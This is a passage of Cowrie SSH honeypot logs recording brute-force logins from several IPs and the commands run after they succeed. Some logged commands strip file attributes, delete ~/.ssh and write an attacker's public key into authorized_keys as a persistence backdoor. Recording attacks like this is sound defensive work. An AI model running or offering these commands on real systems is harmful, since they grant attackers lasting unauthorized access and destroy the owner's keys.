cdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:13:12.467107Z","src_ip":"162.120.6.20","session":"98078453681e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"demo12345","message":"login attempt [ubuntu/demo12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:13:12.682133Z","src_ip":"162.120.6.20","session":"98078453681e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:13:13.755609Z","src_ip":"162.120.6.20","session":"98078453681e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.108.125","src_port":41680,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2e8593be4d0","protocol":"ssh","message":"New connection: 101.36.108.125:41680 (10.17.0.5:22) [session: b2e8593be4d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:13:14.983695Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:13:14.987540Z","src_ip":"101.36.108.125","session":"b2e8593be4d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:13:15.204537Z","src_ip":"101.36.108.125","session":"b2e8593be4d0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"secretpassxd","message":"login attempt [root/secretpassxd] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:13:16.107120Z","src_ip":"101.36.108.125","session":"b2e8593be4d0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:13:16.588595Z","src_ip":"101.36.108.125","session":"b2e8593be4d0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:13:16.590856Z","src_ip":"101.36.108.125","session":"b2e8593be4d0","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:13:16.594205Z","src_ip":"101.36.108.125","session":"b2e8593be4d0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:13:16.813711Z","src_ip":"101.36.108.125","session":"b2e8593be4d0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:13:17.533553Z","src_ip":"101.36.108.125","session":"b2e8593be4d0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:13:17.536762Z","src_ip":"101.36.108.125","session":"b2e8593be4d0","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:13:17.759119Z","src_ip":"101.36.108.125","session":"b2e8593be4d0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:13:17.762957Z","src_ip":"101.36.108.125","session":"b2e8593be4d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.108.125","src_port":41684,"dst_ip":"10.17.0.5","dst_port":22,"session":"967364c4a906","protocol":"ssh","message":"New connection: 101.36.108.125:41684 (10.17.0.5:22) [session: 967364c4a906]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:13:17.972056Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:13:17.976661Z","src_ip":"101.36.108.125","session":"967364c4a906","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:13:18.193997Z","src_ip":"101.36.108.125","session":"967364c4a906","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:13:19.103039Z","src_ip":"101.36.108.125","session":"967364c4a906","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:13:20.321111Z","src_ip":"101.36.108.125","session":"967364c4a906","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.108.125","src_port":41688,"dst_ip":"10.17.0.5","dst_port":22,"session":"8279c10dbed1","protocol":"ssh","message":"New connection: 101.36.108.125:41688 (10.17.0.5:22) [session: 8279c10dbed1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:13:20.528775Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:13:20.533031Z","src_ip":"101.36.108.125","session":"8279c10dbed1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:13:20.747171Z","src_ip":"101.36.108.125","session":"8279c10dbed1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:13:21.634429Z","src_ip":"101.36.108.125","session":"8279c10dbed1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:13:21.850702Z","src_ip":"101.36.108.125","session":"8279c10dbed1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.9","message":"Connection lost after 6.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:13:21.854537Z","src_ip":"101.36.108.125","session":"b2e8593be4d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.22.233","src_port":40978,"dst_ip":"10.17.0.5","dst_port":22,"session":"5fd7412813b0","protocol":"ssh","message":"New connection: 165.154.22.233:40978 (10.17.0.5:22) [session: 5fd7412813b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:13:32.612198Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:13:32.616863Z","src_ip":"165.154.22.233","session":"5fd7412813b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:13:32.835789Z","src_ip":"165.154.22.233","session":"5fd7412813b0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"secretpassxd","message":"login attempt [root/secretpassxd] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:13:33.754638Z","src_ip":"165.154.22.233","session":"5fd7412813b0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:13:34.237871Z","src_ip":"165.154.22.233","session":"5fd7412813b0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:13:34.240312Z","src_ip":"165.154.22.233","session":"5fd7412813b0","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:13:34.243554Z","src_ip":"165.154.22.233","session":"5fd7412813b0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:13:34.469315Z","src_ip":"165.154.22.233","session":"5fd7412813b0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:13:34.936982Z","src_ip":"165.154.22.233","session":"5fd7412813b0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:13:34.940097Z","src_ip":"165.154.22.233","session":"5fd7412813b0","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:13:35.163162Z","src_ip":"165.154.22.233","session":"5fd7412813b0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:13:35.166629Z","src_ip":"165.154.22.233","session":"5fd7412813b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.22.233","src_port":41824,"dst_ip":"10.17.0.5","dst_port":22,"session":"6cca873958b2","protocol":"ssh","message":"New connection: 165.154.22.233:41824 (10.17.0.5:22) [session: 6cca873958b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:13:35.369002Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:13:35.373272Z","src_ip":"165.154.22.233","session":"6cca873958b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:13:35.593179Z","src_ip":"165.154.22.233","session":"6cca873958b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.238.160.191","src_port":58116,"dst_ip":"10.17.0.5","dst_port":22,"session":"3fdcdbc91a13","protocol":"ssh","message":"New connection: 170.238.160.191:58116 (10.17.0.5:22) [session: 3fdcdbc91a13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:13:35.600858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:13:35.605233Z","src_ip":"170.238.160.191","session":"3fdcdbc91a13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25